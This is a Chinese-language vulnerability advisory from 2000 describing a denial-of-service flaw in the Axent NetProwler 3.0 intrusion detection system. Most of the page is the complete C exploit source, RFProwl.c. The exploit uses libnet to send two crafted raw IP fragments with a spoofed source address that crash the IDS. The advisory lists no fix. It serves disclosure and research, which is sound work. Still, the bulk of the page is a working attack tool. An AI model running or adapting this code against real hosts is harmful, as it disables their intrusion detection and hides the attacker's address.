Axent NetProwler分段IP包处理导致拒绝服务攻击
发布日期:2000-05-21
更新日期:2000-05-22
受影响系统:Axent NetProwler 3.0
+ Microsoft Windows NT 4.0
描述:
当发送两个分段的IP包给正在运行Axent NetProwler 入侵检测系统 3.0版的主机时,将
导致NetProwler程序崩溃。
<* 来源:rain forest puppy / rfp@wiretrip.net *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
/* RFProwl.c - rain forest puppy / wiretrip / rfp@wiretrip.net
Kills NetProwler IDS version 3.0
You need libnet installed. It's available from
www.packetfactory.net. Acks to route.
Only tested on RH 6.x Linux. To compile:
gcc RFProwl.c -lnet -o RFProwl
Plus, make sure your architecture is defined below: */
#define LIBNET_LIL_ENDIAN 1
#undef LIBNET_BIG_ENDIAN 1
#include <libnet.h>
/* it's just much easier to code in the packet frags we want. :) */
char pack1[]="\x45\x00"
"\x00\x24\x08\xb9\x00\x03\x3e\x06\x96\xf8\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x02\x08\x0a\x00\x26\xcd\x35\x00\x00\x00\x00\x01\x02"
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
char pack2[]="\x45\x00"
"\x00\x2c\x08\xbf\x20\x00\x3e\x06\x76\xed\x0a\x09\x65\x0d\x0a\x09"
"\x64\x01\x04\x08\x00\x15\xa7\xe4\x00\x48\x00\x00\x00\x00\xa0\x02"
"\x7d\x78\x72\x9d\x00\x00\x02\x04\x05\xb4\x00\x00";
int main(int argc, char **argv) {
int sock, c;
u_long src_ip, dst_ip;
printf("RFProwl - rain forest puppy / wiretrip\n");
if(argc<3){
printf("Usage: RFProwl <profiled IP/destination> <src IP(fake)>\n");
exit(EXIT_FAILURE);}
dst_ip=inet_addr(argv[1]);
src_ip=inet_addr(argv[2]);
memcpy(pack1+16,&dst_ip,4);
memcpy(pack2+16,&dst_ip,4);
memcpy(pack1+12,&src_ip,4);
memcpy(pack1+12,&src_ip,4);
sock = open_raw_sock(IPPROTO_RAW);
if (sock == -1){
perror("Socket problems: ");
exit(EXIT_FAILURE);}
c = write_ip(sock, pack1, 46);
if (c < 46) printf("Write_ip #1 choked\n");
c = write_ip(sock, pack2, 46);
if (c < 46) printf("Write_ip #2 choked\n");
printf("Packets sent\n");
return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
建议:
暂无
浏览次数:6455
严重程度:0(网友投票)